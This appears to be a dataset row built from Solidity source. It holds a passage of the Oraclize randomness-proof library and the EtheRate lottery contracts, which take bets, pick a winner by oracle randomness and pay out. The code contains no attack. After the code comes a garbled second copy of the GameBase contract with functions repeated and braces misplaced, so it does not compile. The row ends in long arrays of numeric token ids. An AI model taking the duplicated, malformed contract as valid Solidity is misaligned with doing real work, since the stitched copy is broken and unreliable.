mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1); //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
// Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
// Buffer too small
require(to.length >= minLength); // Should be a better way?
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
// </ORACLIZE_API>
contract Permissions
{
//LOGS
event LOG_ChangePermissions(address indexed _called, address indexed _agent, uint8 _value);
event LOG_ChangeRegulator(address indexed _called, bool _value);
//LOGS*
//PARAMETRS
//ARRAYS
mapping(address => uint8) public agents;
//ARRAYS
bool public communityRegulator;
//PARAMETRS*
//MODIFIERS
modifier onlyADM()
{
require(agents[msg.sender] == 1);
_;
}
//MODIFIERS*
//FUNCTIONS
//CHANGE FUNCTIONS
function changePermissions(address _agent, uint8 _value) public onlyADM()
{
require(msg.sender != _agent);
require(_value <= 1);
agents[_agent] = _value;
LOG_ChangePermissions(msg.sender, _agent, _value);
}
function changeRegulator(bool _value) public onlyADM()
{
communityRegulator = _value;
LOG_ChangeRegulator(msg.sender, _value);
}
//CHANGE FUNCTIONS*
//FUNCTIONS*
//CONSTRUSTOR
function Permissions()
{
agents[msg.sender] = 1;
}
//CONSTRUCTOR*
}
contract Accounting is Permissions
{
//LOGS
event LOG_AcceptWei(address indexed _from, uint256 _wei, uint8 indexed _type);
event LOG_WithdrawWei(address indexed _called, address indexed _to, uint256 _wei, uint8 indexed _type);
event LOG_ChangeOraclizeAccountingSettings(address indexed _called, uint256 _OAS_idOraclizeAccountingSettings,
uint256 _OAS_oraclizeRandomGas, uint256 _OAS_oraclizeRandomGwei);
//LOGS*
//PARAMETRS
//ACCOUNTING CONSTANTS (ACns)
uint256 constant public ACns_WeiInFinney = 1000000000000000;
uint256 constant public ACns_WeiInGwei = 1000000000;
//ACCOUNTING CONSTANTS (ACns)*
//ACCOUNTING PARAMETRS (AP)
uint256 public AP_totalBalanceCommissionWei;
uint256 public AP_totalBalanceDonateWei;
uint256 public AP_nowRoundBankBalanceWei;
//ACCOUNTING PARAMETRS (AP)*
//ORACLIZE ACCOUNTING SETTINGS (OAS)
uint256 public OAS_idOraclizeAccountingSettings;
uint256 public OAS_oraclizeRandomGas;
uint256 public OAS_oraclizeRandomGwei;
//ORACLIZE ACCOUNTING SETTINGS (OAS)*
//PARAMETRS*
//MODIFIERS
//MODIFIERS*
//FUNCTIONS
//PAYABLE FUNCTIONS
function () payable //Thank you very much ;-)
{
AP_totalBalanceDonateWei = AP_totalBalanceDonateWei + msg.value;
LOG_AcceptWei(msg.sender, msg.value, 1);
}
//PAYABLE FUNCTIONS*
//ACTION FUNCTIONS
function withdrawTotalBalanceDonateWei(address _to) public onlyADM()
{
_to.transfer(AP_totalBalanceDonateWei);
LOG_WithdrawWei(msg.sender, _to, AP_totalBalanceDonateWei, 1);
AP_totalBalanceDonateWei = 0;
}
function withdrawTotalBalanceCommissionWei(address _to) public onlyADM()
{
_to.transfer(AP_totalBalanceCommissionWei);
LOG_WithdrawWei(msg.sender, _to, AP_totalBalanceCommissionWei, 2);
AP_totalBalanceCommissionWei = 0;
}
//ACTION FUNCTIONS*
//CHANGE FUNCTIONS
function changeOraclizeAccountingSettings(uint256 _OAS_oraclizeRandomGas) public onlyADM()
{
OAS_idOraclizeAccountingSettings++;
OAS_oraclizeRandomGas = _OAS_oraclizeRandomGas;
OAS_oraclizeRandomGwei = _OAS_oraclizeRandomGas * 20;
LOG_ChangeOraclizeAccountingSettings(msg.sender, OAS_idOraclizeAccountingSettings, OAS_oraclizeRandomGas, OAS_oraclizeRandomGwei);
}
//CHANGE FUNCTIONS*
//FUNCTIONS*
//CONSTRUSTOR
//CONSTRUCTOR*
}
contract GameBase is Accounting, usingOraclize
{
//LOGS
event LOG_ChangeGameSettings
(address indexed _called, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _GS_betSizeFinney, uint256 _GS_maxAmountBets, uint256 _GS_minStartAgentAmountBets, uint256 _GS_maxAgentAmountBets, uint256 _GS_maxAmountBetsInOneTransaction,
uint8 _GS_commissionPct, bool _GS_commissionType, uint256 _GS_betTimeoutSec);
event LOG_ChangeStatusGame(address indexed _called, uint256 _GP_roundNum, uint8 _status);
//LOGS*
//PARAMETRS
//GAME SETTINGS (GS)
uint256 public GS_idGameSettings;
uint256 public GS_betSizeFinney;
uint256 public GS_maxAmountBets;
uint256 public GS_minStartAgentAmountBets;
uint256 public GS_maxAgentAmountBets;
uint256 public GS_maxAmountBetsInOneTransaction;
uint8 public GS_commissionPct;
bool public GS_commissionType;
uint256 public GS_betTimeoutSec;
//GAME SETTINGS (GS)*
//GAME PARAMETRS (GP)
uint256 public GP_roundNum;
uint256 public GP_amountBets;
uint256 public GP_lastBetTimeSec;
uint8 public GP_statusGame;
//GAME PARAMETRS ARRAYS (GPA)
mapping(address => uint256) internal GPA_agentAddressId;
address[] internal GPA_agentIdAddress;
uint256[] internal GPA_agentIdBetsSum;
uint256[] internal GPA_betNumAgentId;
//GAME PARAMETRS ARRAYS (GPA)*
//GAME PARAMETRS (GP)*
//PARAMETRS*
//MODIFIERS
modifier onlyNoBets()
{
require(GP_amountBets == 0);
_;
}
modifier stop()
{
require(GP_statusGame == 0);
_;
}
//MODIFIERS*
//FUNCTIONS
//ACTION FUNCTIONS
function withdrawAllWei(address _to) public onlyADM() onlyNoBets()
{
LOG_WithdrawWei(msg.sender, _to, this.balance, 3);
_to.transfer(this.balance);
AP_totalBalanceDonateWei = 0;
AP_totalBalanceCommissionWei = 0;
}
//ACTION FUNCTIONS*
//CHANGE FUNCTIONS
function changeGameSettings
(uint256 _GS_betSizeFinney, uint256 _GS_maxAmountBets, uint256 _GS_minStartAgentAmountBets, uint256 _GS_maxAgentAmountBets, uint256 _GS_maxAmountBetsInOneTransaction,
uint8 _GS_commissionPct, bool _GS_commissionType, uint256 _GS_betTimeoutSec) public onlyADM() onlyNoBets()
{
require(OAS_oraclizeRandomGwei > 0);
require(_GS_betSizeFinney <= 10000);
require(_GS_maxAmountBets <= 1000000 && _GS_maxAmountBets >= 3);
require(_GS_maxAmountBetsInOneTransaction <= 150);
require(_GS_minStartAgentAmountBets <= _GS_maxAmountBetsInOneTransaction);
require(_GS_minStartAgentAmountBets <= _GS_maxAgentAmountBets);
require(_GS_maxAgentAmountBets < _GS_maxAmountBets);
require(_GS_commissionPct <= 99);
GS_idGameSettings++;
GS_betSizeFinney = _GS_betSizeFinney;
GS_maxAmountBets = _GS_maxAmountBets;
GS_minStartAgentAmountBets = _GS_minStartAgentAmountBets;
GS_maxAgentAmountBets = _GS_maxAgentAmountBets;
GS_maxAmountBetsInOneTransaction = _GS_maxAmountBetsInOneTransaction;
GS_commissionPct = _GS_commissionPct;
GS_commissionType = _GS_commissionType;
GS_betTimeoutSec = _GS_betTimeoutSec;
LOG_ChangeGameSettings
(msg.sender, GP_roundNum, GS_idGameSettings,
_GS_betSizeFinney, _GS_maxAmountBets, _GS_minStartAgentAmountBets, _GS_maxAgentAmountBets, _GS_maxAmountBetsInOneTransaction,
_GS_commissionPct, _GS_commissionType, _GS_betTimeoutSec);
}
function changeStatusGame(uint8 _value) public onlyADM() onlyNoBets()
{
require(_value <= 1);
GP_statusGame = _value;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, _value);
}
//CHANGE FUNCTIONS*
//GET FUNCTIONS
function getAgentIdByAddress(address _agentAddress) public constant returns(uint256)
{
uint256 value;
uint256 id = GPA_agentAddressId[_agentAddress];
if (id != 0 && id <= GPA_agentIdAddress.length)
{
if (GPA_agentIdAddress[id - 1] == _agentAddress)
{
value = GPA_agentAddressId[_agentAddress];
}
}
return value;
}
function getAgentAdressById(uint256 _agentId) public constant returns(address)
{
address value;
if (_agentId > 0 && _agentId <= GPA_agentIdAddress.length)
{
value = GPA_agentIdAddress[_agentId - 1];
}
return value;
}
function getBetsSumByAgentId(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= GPA_agentIdBetsSum.length)
{
value = GPA_agentIdBetsSum[_agentId - 1];
}
return value;
}
function getAgentIdByPositionBet(uint256 _positionBet) public constant returns(uint256)
{
uint256 value;
if (_positionBet > 0 && _positionBet <= GPA_betNumAgentId.length)
{
value = GPA_betNumAgentId[_positionBet - 1];
}
return value;
}
function getAgentsAmount() public constant returns(uint256)
{
return GPA_agentIdAddress.length;
}
//GET FUNCTIONS*
//FUNCTIONS*
//CONSTRUSTOR
function GameBase()
{
GP_roundNum = 1;
}
//CONSTRUCTOR*
}
contract Game is GameBase
{
//LOGS
event LOG_Request_CallbackOraclize(address indexed _called, uint256 _GP_roundNum, uint256 _OAS_idOraclizeAccountingSettings, bytes32 _queryId, uint8 _type);
event LOG_ForciblyRequest_CallbackOraclize(address _called, uint256 _GP_roundNum, uint8 _confirmType);
event LOG_CallbackOraclize(uint256 _GP_roundNum, bytes32 _queryId, bytes _proof);
event LOG_Bet(address indexed _agent, uint256 _agentId, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _amountBets, uint256 _spentFinney);
event LOG_Win(address indexed _agent, uint256 _agentId, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _GP_amountBets, uint256 _betsSum, uint256 _spentFinney,
uint256 _winWei, uint256 _luckyNumber);
event LOG_Commision(uint256 _GP_roundNum, uint256 _GS_idGameSettings, uint256 _AP_nowRoundBankBalanceWei, uint256 _GS_commissionPct, uint256 _commisionWei);
//LOGS*
//PARAMETRS
//PARAMETRS*
//FUNCTIONS
//ACTION FUNCTIONS
function bet() payable public
{
require(GP_statusGame == 1);
uint256 amountBets;
amountBets = (msg.value / ACns_WeiInFinney) / GS_betSizeFinney;
require(amountBets > 0);
uint256 agentId;
agentId = getAgentIdByAddress(msg.sender);
require(amountBets >= GS_minStartAgentAmountBets || agentId != 0);
if ((amountBets + GP_amountBets) > GS_maxAmountBets)
{
amountBets = GS_maxAmountBets - GP_amountBets;
}
if ((amountBets + getBetsSumByAgentId(agentId)) > GS_maxAgentAmountBets)
{
amountBets = GS_maxAgentAmountBets - getBetsSumByAgentId(agentId);
}
if (amountBets > GS_maxAmountBetsInOneTransaction)
{
amountBets = GS_maxAmountBetsInOneTransaction;
}
require(amountBets > 0);
if (agentId == 0)
{
GPA_agentIdAddress.push(msg.sender);
agentId = GPA_agentIdAddress.length;
GPA_agentAddressId[msg.sender] = agentId;
GPA_agentIdBetsSum.push(0);
}
GPA_agentIdBetsSum[agentId - 1] = getBetsSumByAgentId(agentId) + amountBets;
while (GPA_betNumAgentId.length < GP_amountBets + amountBets)
{
GPA_betNumAgentId.push(agentId);
}
uint256 amountBetsSizeWei = amountBets * GS_betSizeFinney * ACns_WeiInFinney;
LOG_AcceptWei(msg.sender, msg.value, 2);
LOG_WithdrawWei(msg.sender, msg.sender, msg.value - amountBetsSizeWei, 4);
msg.sender.transfer(msg.value - amountBetsSizeWei);
LOG_Bet(msg.sender, agentId, GP_roundNum, GS_idGameSettings, amountBets, amountBets * GS_betSizeFinney);
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei + amountBetsSizeWei;
GP_amountBets = GP_amountBets + amountBets;
GP_lastBetTimeSec = block.timestamp;
if (GP_amountBets > GS_maxAmountBets - GS_minStartAgentAmountBets)
{
uint256 oraclizeRandomWei = OAS_oraclizeRandomGwei * ACns_WeiInGwei;
if (AP_nowRoundBankBalanceWei > oraclizeRandomWei)
{
GP_statusGame = 2;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei - oraclizeRandomWei;
request_callback(1);
}
else
{
GP_statusGame = 3;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
}
}
}
function play(uint256 _luckyNumber) private
{
uint256 winnerId = getAgentIdByPositionBet(_luckyNumber);
address winnerAddress = getAgentAdressById(winnerId);
uint256 commissionSizeWei;
if (GS_commissionType)
{
commissionSizeWei = AP_nowRoundBankBalanceWei / 100 * GS_commissionPct;
}
else
{
commissionSizeWei = (GP_amountBets - getBetsSumByAgentId(winnerId)) * (GS_betSizeFinney * ACns_WeiInFinney) / 100 * GS_commissionPct;
}
AP_totalBalanceCommissionWei = AP_totalBalanceCommissionWei + commissionSizeWei;
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei - commissionSizeWei;
LOG_Commision(GP_roundNum, GS_idGameSettings, AP_nowRoundBankBalanceWei, GS_commissionPct, commissionSizeWei);
winnerAddress.transfer(AP_nowRoundBankBalanceWei);
LOG_WithdrawWei(msg.sender, winnerAddress, AP_nowRoundBankBalanceWei, 5);
LOG_Win(winnerAddress, winnerId, GP_roundNum, GS_idGameSettings,
GP_amountBets, getBetsSumByAgentId(winnerId), getBetsSumByAgentId(winnerId) * GS_betSizeFinney, AP_nowRoundBankBalanceWei, _luckyNumber);
GP_statusGame = 1;
GP_amountBets = 0;
GP_roundNum++;
AP_nowRoundBankBalanceWei = 0;
delete GPA_agentIdAddress;
delete GPA_agentIdBetsSum;
delete GPA_betNumAgentId;
}
function thisIsTheEnd(address _to) public onlyADM() onlyNoBets()
{
selfdestruct(_to);
}
//ACTION FUNCTIONS*
//ORACLIZE QUERIES
function request_callback(uint8 _type) private
{
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, OAS_oraclizeRandomGas);
LOG_Request_CallbackOraclize(msg.sender, GP_roundNum, OAS_idOraclizeAccountingSettings, queryId, _type);
}
function forciblyRequest_callback() payable public
{
uint8 confirm;
if (GP_statusGame == 3 && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 1;
}
if (GP_statusGame == 2 && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 2;
}
if (GP_statusGame == 1 && (block.timestamp > GP_lastBetTimeSec + GS_betTimeoutSec) && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 3;
}
if (confirm > 0)
{
uint256 oraclizeRandomWei = OAS_oraclizeRandomGwei * ACns_WeiInGwei;
require(msg.value >= oraclizeRandomWei);
msg.sender.transfer(msg.value - oraclizeRandomWei);
if (confirm != 2)
{
GP_statusGame = 2;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
}
LOG_ForciblyRequest_CallbackOraclize(msg.sender, GP_roundNum, confirm);
request_callback(2);
}
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public
{
require(msg.sender == oraclize_cbAddress());
require (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0);
require(GP_statusGame == 2);
LOG_CallbackOraclize(GP_roundNum, _queryId, _proof);
play(uint(sha3(_result)) % GP_amountBets + 1);
}
function startRequest_callback() payable public onlyADM() onlyNoBets() stop()
{
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, 100000);
LOG_Request_CallbackOraclize(msg.sender, 0, 100000, queryId, 0);
}
//ORACLIZE QUERIES*
//CONSTRUSTOR
function Game()
{
oraclize_setProof(proofType_Ledger);
}
//CONSTRUSTOR*
}
//Official Blog: medium.com/etherate
//© EtheRate Core Team | LOGSLOGS*PARAMETRSGAME SETTINGS (GS)GAME SETTINGS (GS)*GAME PARAMETRS (GP)GAME PARAMETRS ARRAYS (GPA)GAME PARAMETRS ARRAYS (GPA)*GAME PARAMETRS (GP)*PARAMETRS*MODIFIERS | {
event LOG_ChangeGameSettings
(address indexed _called, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _GS_betSizeFinney, uint256 _GS_maxAmountBets, uint256 _GS_minStartAgentAmountBets, uint256 _GS_maxAgentAmountBets, uint256 _GS_maxAmountBetsInOneTransaction,
uint8 _GS_commissionPct, bool _GS_commissionType, uint256 _GS_betTimeoutSec);
event LOG_ChangeStatusGame(address indexed _called, uint256 _GP_roundNum, uint8 _status);
uint256 public GS_idGameSettings;
uint256 public GS_betSizeFinney;
uint256 public GS_maxAmountBets;
uint256 public GS_minStartAgentAmountBets;
uint256 public GS_maxAgentAmountBets;
uint256 public GS_maxAmountBetsInOneTransaction;
uint8 public GS_commissionPct;
bool public GS_commissionType;
uint256 public GS_betTimeoutSec;
uint256 public GP_roundNum;
uint256 public GP_amountBets;
uint256 public GP_lastBetTimeSec;
uint8 public GP_statusGame;
mapping(address => uint256) internal GPA_agentAddressId;
address[] internal GPA_agentIdAddress;
uint256[] internal GPA_agentIdBetsSum;
uint256[] internal GPA_betNumAgentId;
modifier onlyNoBets()
}
{
require(GP_amountBets == 0);
_;
}
modifier stop()
{
require(GP_statusGame == 0);
_;
}
function withdrawAllWei(address _to) public onlyADM() onlyNoBets()
{
LOG_WithdrawWei(msg.sender, _to, this.balance, 3);
_to.transfer(this.balance);
AP_totalBalanceDonateWei = 0;
AP_totalBalanceCommissionWei = 0;
}
function changeGameSettings
(uint256 _GS_betSizeFinney, uint256 _GS_maxAmountBets, uint256 _GS_minStartAgentAmountBets, uint256 _GS_maxAgentAmountBets, uint256 _GS_maxAmountBetsInOneTransaction,
uint8 _GS_commissionPct, bool _GS_commissionType, uint256 _GS_betTimeoutSec) public onlyADM() onlyNoBets()
{
require(OAS_oraclizeRandomGwei > 0);
require(_GS_betSizeFinney <= 10000);
require(_GS_maxAmountBets <= 1000000 && _GS_maxAmountBets >= 3);
require(_GS_maxAmountBetsInOneTransaction <= 150);
require(_GS_minStartAgentAmountBets <= _GS_maxAmountBetsInOneTransaction);
require(_GS_minStartAgentAmountBets <= _GS_maxAgentAmountBets);
require(_GS_maxAgentAmountBets < _GS_maxAmountBets);
require(_GS_commissionPct <= 99);
GS_idGameSettings++;
GS_betSizeFinney = _GS_betSizeFinney;
GS_maxAmountBets = _GS_maxAmountBets;
GS_minStartAgentAmountBets = _GS_minStartAgentAmountBets;
GS_maxAgentAmountBets = _GS_maxAgentAmountBets;
GS_maxAmountBetsInOneTransaction = _GS_maxAmountBetsInOneTransaction;
GS_commissionPct = _GS_commissionPct;
GS_commissionType = _GS_commissionType;
GS_betTimeoutSec = _GS_betTimeoutSec;
LOG_ChangeGameSettings
(msg.sender, GP_roundNum, GS_idGameSettings,
_GS_betSizeFinney, _GS_maxAmountBets, _GS_minStartAgentAmountBets, _GS_maxAgentAmountBets, _GS_maxAmountBetsInOneTransaction,
_GS_commissionPct, _GS_commissionType, _GS_betTimeoutSec);
}
function changeStatusGame(uint8 _value) public onlyADM() onlyNoBets()
{
require(_value <= 1);
GP_statusGame = _value;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, _value);
}
function getAgentIdByAddress(address _agentAddress) public constant returns(uint256)
{
uint256 value;
uint256 id = GPA_agentAddressId[_agentAddress];
if (id != 0 && id <= GPA_agentIdAddress.length)
{
if (GPA_agentIdAddress[id - 1] == _agentAddress)
{
value = GPA_agentAddressId[_agentAddress];
}
}
return value;
}
function getAgentIdByAddress(address _agentAddress) public constant returns(uint256)
{
uint256 value;
uint256 id = GPA_agentAddressId[_agentAddress];
if (id != 0 && id <= GPA_agentIdAddress.length)
{
if (GPA_agentIdAddress[id - 1] == _agentAddress)
{
value = GPA_agentAddressId[_agentAddress];
}
}
return value;
}
function getAgentIdByAddress(address _agentAddress) public constant returns(uint256)
{
uint256 value;
uint256 id = GPA_agentAddressId[_agentAddress];
if (id != 0 && id <= GPA_agentIdAddress.length)
{
if (GPA_agentIdAddress[id - 1] == _agentAddress)
{
value = GPA_agentAddressId[_agentAddress];
}
}
return value;
}
function getAgentAdressById(uint256 _agentId) public constant returns(address)
{
address value;
if (_agentId > 0 && _agentId <= GPA_agentIdAddress.length)
{
value = GPA_agentIdAddress[_agentId - 1];
}
return value;
}
function getAgentAdressById(uint256 _agentId) public constant returns(address)
{
address value;
if (_agentId > 0 && _agentId <= GPA_agentIdAddress.length)
{
value = GPA_agentIdAddress[_agentId - 1];
}
return value;
}
function getBetsSumByAgentId(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= GPA_agentIdBetsSum.length)
{
value = GPA_agentIdBetsSum[_agentId - 1];
}
return value;
}
function getBetsSumByAgentId(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= GPA_agentIdBetsSum.length)
{
value = GPA_agentIdBetsSum[_agentId - 1];
}
return value;
}
function getAgentIdByPositionBet(uint256 _positionBet) public constant returns(uint256)
{
uint256 value;
if (_positionBet > 0 && _positionBet <= GPA_betNumAgentId.length)
{
value = GPA_betNumAgentId[_positionBet - 1];
}
return value;
}
function getAgentIdByPositionBet(uint256 _positionBet) public constant returns(uint256)
{
uint256 value;
if (_positionBet > 0 && _positionBet <= GPA_betNumAgentId.length)
{
value = GPA_betNumAgentId[_positionBet - 1];
}
return value;
}
function getAgentsAmount() public constant returns(uint256)
{
return GPA_agentIdAddress.length;
}
function GameBase()
{
GP_roundNum = 1;
}
}
| 2,302,435 | [
1,
4842,
55,
4842,
55,
2778,
1642,
4349,
30820,
1642,
3174,
15901,
261,
16113,
13,
43,
1642,
3174,
15901,
261,
16113,
13,
43,
1642,
3939,
1642,
4349,
55,
261,
9681,
13,
43,
1642,
3939,
1642,
4349,
55,
14884,
55,
261,
43,
4066,
13,
43,
1642,
3939,
1642,
4349,
55,
14884,
55,
261,
43,
4066,
13,
43,
1642,
3939,
1642,
4349,
55,
261,
9681,
13,
2778,
1642,
4349,
55,
6720,
10591,
55,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
